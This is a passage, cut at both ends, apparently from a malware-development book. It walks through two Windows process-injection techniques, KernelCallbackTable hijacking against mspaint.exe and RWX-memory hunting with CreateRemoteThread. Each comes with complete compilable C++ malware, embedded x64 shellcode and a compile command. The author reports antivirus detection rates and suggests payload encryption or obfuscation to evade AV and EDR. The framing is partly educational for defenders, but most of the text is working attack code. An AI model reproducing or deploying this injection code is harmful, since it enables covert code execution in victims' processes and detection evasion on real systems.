00007ffa`29123088 00007ffa`290c5680 user32!_fnNCDESTROY
00007ffa`29123090 00007ffa`290c96a0 user32!_fnDWORDOPTINLPMSG
00007ffa`29123098 00007ffa`2911b4a0 user32!_fnINOUTDRAG
//....
For example, functions such as fnCOPYDATA are called in response to a WM_COPYDATA
window message.
This function is replaced to demonstrate the injection.

practical example
The flow is this technique is: firstly, include ntddk.h header from SDK:
#include <./ntddk.h>
Then, redefine:
typedef struct _KERNELCALLBACKTABLE_T {
ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;

222
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;

223
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;

224
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;
Then, find a window for mspaint.exe, obtain the process id and open it:
// find a window for mspaint.exe
HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
After that, read the PEB and existing table address:
HMODULE ntdll = GetModuleHandleA("ntdll");
pNtQueryInformationProcess myNtQueryInformationProcess =
(pNtQueryInformationProcess)(GetProcAddress(
ntdll, "NtQueryInformationProcess"));

myNtQueryInformationProcess(ph,
ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);

ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);
Then, write our payload to remote process via VirtualAllocEx and WriteProcessMemory:

225
LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);
We use VirtualAllocEx which is allows to you to allocate memory buffer for remote
process, then, WriteProcessMemory allows you to copy data between processes, so
copy our payload to mspaint.exe process.
Write the new table to remote process:
LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)rb;
WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);
Update the PEB:
WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&tb, sizeof(ULONG_PTR), NULL);
Trigger execution of payload:
cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;

SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);


Finally, restore original KernelCallbackTable:
WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable,
sizeof(ULONG_PTR), NULL);
SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
Here, to restore the original code and check if it restores normally, we called
SendMessage() again to verify that the code is not running.
So, full C++ code of our simple malware is:
/*
* hack.cpp - process injection via
* KernelCallbackTable. C++ implementation
* @cocomelonc
* https://cocomelonc.github.io/tutorial/
2022/01/24/malware-injection-15.html
*/
#include <./ntddk.h>
#include <cstdio>

226
#include <cstddef>

#pragma comment(lib, "ntdll");

typedef struct _KERNELCALLBACKTABLE_T {


ULONG_PTR __fnCOPYDATA;
ULONG_PTR __fnCOPYGLOBALDATA;
ULONG_PTR __fnDWORD;
ULONG_PTR __fnNCDESTROY;
ULONG_PTR __fnDWORDOPTINLPMSG;
ULONG_PTR __fnINOUTDRAG;
ULONG_PTR __fnGETTEXTLENGTHS;
ULONG_PTR __fnINCNTOUTSTRING;
ULONG_PTR __fnPOUTLPINT;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
ULONG_PTR __fnINLPCREATESTRUCT;
ULONG_PTR __fnINLPDELETEITEMSTRUCT;
ULONG_PTR __fnINLPDRAWITEMSTRUCT;
ULONG_PTR __fnPOPTINLPUINT;
ULONG_PTR __fnPOPTINLPUINT2;
ULONG_PTR __fnINLPMDICREATESTRUCT;
ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
ULONG_PTR __fnINLPWINDOWPOS;
ULONG_PTR __fnINOUTLPPOINT5;
ULONG_PTR __fnINOUTLPSCROLLINFO;
ULONG_PTR __fnINOUTLPRECT;
ULONG_PTR __fnINOUTNCCALCSIZE;
ULONG_PTR __fnINOUTLPPOINT5_;
ULONG_PTR __fnINPAINTCLIPBRD;
ULONG_PTR __fnINSIZECLIPBRD;
ULONG_PTR __fnINDESTROYCLIPBRD;
ULONG_PTR __fnINSTRING;
ULONG_PTR __fnINSTRINGNULL;
ULONG_PTR __fnINDEVICECHANGE;
ULONG_PTR __fnPOWERBROADCAST;
ULONG_PTR __fnINLPUAHDRAWMENU;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
ULONG_PTR __fnOUTDWORDINDWORD;
ULONG_PTR __fnOUTLPRECT;
ULONG_PTR __fnOUTSTRING;
ULONG_PTR __fnPOPTINLPUINT3;
ULONG_PTR __fnPOUTLPINT2;
ULONG_PTR __fnSENTDDEMSG;
ULONG_PTR __fnINOUTSTYLECHANGE;
ULONG_PTR __fnHkINDWORD;

227
ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
ULONG_PTR __fnHkINLPMSG;
ULONG_PTR __fnHkINLPRECT;
ULONG_PTR __fnHkOPTINLPEVENTMSG;
ULONG_PTR __xxxClientCallDelegateThread;
ULONG_PTR __ClientCallDummyCallback;
ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
ULONG_PTR __fnOUTLPCOMBOBOXINFO;
ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
ULONG_PTR __xxxClientCallDevCallbackCapture;
ULONG_PTR __xxxClientCallDitThread;
ULONG_PTR __xxxClientEnableMMCSS;
ULONG_PTR __xxxClientUpdateDpi;
ULONG_PTR __xxxClientExpandStringW;
ULONG_PTR __ClientCopyDDEIn1;
ULONG_PTR __ClientCopyDDEIn2;
ULONG_PTR __ClientCopyDDEOut1;
ULONG_PTR __ClientCopyDDEOut2;
ULONG_PTR __ClientCopyImage;
ULONG_PTR __ClientEventCallback;
ULONG_PTR __ClientFindMnemChar;
ULONG_PTR __ClientFreeDDEHandle;
ULONG_PTR __ClientFreeLibrary;
ULONG_PTR __ClientGetCharsetInfo;
ULONG_PTR __ClientGetDDEFlags;
ULONG_PTR __ClientGetDDEHookData;
ULONG_PTR __ClientGetListboxString;
ULONG_PTR __ClientGetMessageMPH;
ULONG_PTR __ClientLoadImage;
ULONG_PTR __ClientLoadLibrary;
ULONG_PTR __ClientLoadMenu;
ULONG_PTR __ClientLoadLocalT1Fonts;
ULONG_PTR __ClientPSMTextOut;
ULONG_PTR __ClientLpkDrawTextEx;
ULONG_PTR __ClientExtTextOutW;
ULONG_PTR __ClientGetTextExtentPointW;
ULONG_PTR __ClientCharToWchar;
ULONG_PTR __ClientAddFontResourceW;
ULONG_PTR __ClientThreadSetup;
ULONG_PTR __ClientDeliverUserApc;
ULONG_PTR __ClientNoMemoryPopup;

228
ULONG_PTR __ClientMonitorEnumProc;
ULONG_PTR __ClientCallWinEventProc;
ULONG_PTR __ClientWaitMessageExMPH;
ULONG_PTR __ClientWOWGetProcModule;
ULONG_PTR __ClientWOWTask16SchedNotify;
ULONG_PTR __ClientImmLoadLayout;
ULONG_PTR __ClientImmProcessKey;
ULONG_PTR __fnIMECONTROL;
ULONG_PTR __fnINWPARAMDBCSCHAR;
ULONG_PTR __fnGETTEXTLENGTHS2;
ULONG_PTR __fnINLPKDRAWSWITCHWND;
ULONG_PTR __ClientLoadStringW;
ULONG_PTR __ClientLoadOLE;
ULONG_PTR __ClientRegisterDragDrop;
ULONG_PTR __ClientRevokeDragDrop;
ULONG_PTR __fnINOUTMENUGETOBJECT;
ULONG_PTR __ClientPrinterThunk;
ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
ULONG_PTR __fnOUTLPSCROLLBARINFO;
ULONG_PTR __fnINLPUAHDRAWMENU2;
ULONG_PTR __fnINLPUAHDRAWMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU3;
ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
ULONG_PTR __fnINLPUAHDRAWMENU4;
ULONG_PTR __fnOUTLPTITLEBARINFOEX;
ULONG_PTR __fnTOUCH;
ULONG_PTR __fnGESTURE;
ULONG_PTR __fnPOPTINLPUINT4;
ULONG_PTR __fnPOPTINLPUINT5;
ULONG_PTR __xxxClientCallDefaultInputHandler;
ULONG_PTR __fnEMPTY;
ULONG_PTR __ClientRimDevCallback;
ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
ULONG_PTR __ClientCallLocalMouseHooks;
ULONG_PTR __xxxClientBroadcastThemeChange;
ULONG_PTR __xxxClientCallDevCallbackSimple;
ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
ULONG_PTR __fnGETWINDOWDATA;
ULONG_PTR __fnINOUTSTYLECHANGE2;
ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

// NtQueryInformationProcess
typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
IN HANDLE ProcessHandle,

229
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main() {

HANDLE ph;
DWORD pid;
PROCESS_BASIC_INFORMATION pbi;
KERNELCALLBACKTABLE kct;
COPYDATASTRUCT cds;
PEB peb;
WCHAR msg[] = L"kernelcallbacktable injection impl";

// find a window for mspaint.exe


HWND hw = FindWindow(NULL, (LPCSTR) "Untitled - Paint");
if (hw == NULL) {

230
printf("failed to find window :(\n");
return -2;
}
GetWindowThreadProcessId(hw, &pid);
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

HMODULE ntdll = GetModuleHandleA("ntdll");


pNtQueryInformationProcess myNtQueryInformationProcess =
(pNtQueryInformationProcess)(GetProcAddress(
ntdll, "NtQueryInformationProcess"));

myNtQueryInformationProcess(ph,
ProcessBasicInformation, &pbi, sizeof(pbi), NULL);

ReadProcessMemory(ph, pbi.PebBaseAddress,
&peb, sizeof(peb), NULL);
ReadProcessMemory(ph, peb.KernelCallbackTable,
&kct, sizeof(kct), NULL);

LPVOID rb = VirtualAllocEx(ph, NULL, sizeof(my_payload),


MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

LPVOID tb = VirtualAllocEx(ph, NULL, sizeof(kct),


MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
kct.__fnCOPYDATA = (ULONG_PTR)rb;
WriteProcessMemory(ph, tb, &kct, sizeof(kct), NULL);

WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&tb, sizeof(ULONG_PTR), NULL);

cds.dwData = 1;
cds.cbData = lstrlen((LPCSTR)msg) * 2;
cds.lpData = msg;

SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);


WriteProcessMemory(ph,
(PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable),
&peb.KernelCallbackTable, sizeof(ULONG_PTR), NULL);

VirtualFreeEx(ph, rb, 0, MEM_RELEASE);


VirtualFreeEx(ph, tb, 0, MEM_RELEASE);
CloseHandle(ph);

231
return 0;
}
As usually, for simplicity, I used meow-meow messagebox payload:
unsigned char my_payload[] =

// 64-bit meow-meow messagebox


"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

demo
Let’s go to see everything in action. Compile our example:
x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ \
-I/home/.../cybersec_blog/2022-01-24-malware-injection-15/ \
-s -ffunction-sections -fdata-sections \
-Wno-write-strings -fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc -fpermissive

232
Then run it! In our case victim machine is Windows 10 x64:

We can see that everything was completed perfectly :)


An interesing observation: when I close meow messagebox window, my

233
mspaint.exe is crashed and recovered:

Moneta64.exe result:

234
Then, upload our malware to VirusTotal:

https://www.virustotal.com/gui/file/5fcd9b3c453c7e2ac9dcc48f358b3e7851ac18edf1
3fb1658e29f90ffa2c5a74/detection
So, 7 of 67 AV engines detect our file as malicious.
I think this is due to the fact that the combination of VirtualAllocEx and
WriteProcessMemory functions is very suspicious and well known to AV engines and
malware analysts from blue teams.
If we want, for better result, we can add payload encryption with key or obfuscate
functions, or combine both of this techniques.
I hope this section spreads awareness to the blue teamers of this interesting technique,
and adds a weapon to the red teamers arsenal.
ntddk.h header
NtQueryInformationProcess
FindWindow
ReadProcessMemory
VirtualAllocEx
WriteProcessMemory
SendMessage
Moneta64.exe
source code in Github

235
28. process injection via RWX-memory hunting. Simple C++ ex-
ample.

This is a self-researching of another process injection technique.

RWX-memory hunting
Let’s take a look at logic of our classic code injection malware:
//...
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len,
(MEM_RESERVE | MEM_COMMIT),
PAGE_EXECUTE_READWRITE);

// "copy" data between processes


WriteProcessMemory(ph, rb, my_payload,
sizeof(my_payload), NULL);

// our process start new thread


rt = CreateRemoteThread(ph, NULL, 0,
(LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
//...
As you remember, we use VirtualAllocEx which is allows to us to allocate memory
buffer for remote process, then, WriteProcessMemory allows you to copy data between
processes. And CreateRemoteThread you can specify which process should start the
new thread.
What about another way? it is possible to enumerate currently running target processes
on the compromised system - search through their allocated memory blocks and check

236
if any those are protected with RWX, so we can attempt to write/read/execute them,
which may help to evasion some AV/EDR.

practical example
The flow is this technique is simple, let’s go to investigate its logic:
Loop through all the processes on the system:

Loop through all allocated memory blocks in each process:

Then, we check for memory block that is protected with RWX:

if ok, print our memory block (* for demonstration *):

237
write our payload to this memory block:

then start a new remote thread:

Full C++ source code of our malware is:


/*
hack.cpp
process injection technique via
RWX memory hunting
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2022/02/01/malware-injection-16.html
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>

238
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int main(int argc, char* argv[]) {


MEMORY_BASIC_INFORMATION m;
PROCESSENTRY32 pe;
LPVOID address = 0;
HANDLE ph;
HANDLE hSnapshot;
BOOL hResult;
pe.dwSize = sizeof(PROCESSENTRY32);

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);


if (INVALID_HANDLE_VALUE == hSnapshot) return -1;

hResult = Process32First(hSnapshot, &pe);

while (hResult) {
ph = OpenProcess(MAXIMUM_ALLOWED, false, pe.th32ProcessID);
if (ph) {
printf("hunting in %s\n", pe.szExeFile);
while (VirtualQueryEx(ph, address, &m, sizeof(m))) {

239
address = (LPVOID)(
(DWORD_PTR)m.BaseAddress + m.RegionSize);
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE) {
printf("rwx memory successfully found at 0x%x :)\n",
m.BaseAddress);
WriteProcessMemory(ph, m.BaseAddress,
my_payload, sizeof(my_payload), NULL);
CreateRemoteThread(ph, NULL, NULL,
(LPTHREAD_START_ROUTINE)m.BaseAddress,
NULL, NULL, NULL);
break;
}
}
address = 0;
}
hResult = Process32Next(hSnapshot, &pe);
}
CloseHandle(hSnapshot);
CloseHandle(ph);
return 0;
}
As usually, for simplicity I used meow-meow messagebox payload:
unsigned char my_payload[] =
// 64-bit meow-meow messagebox
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
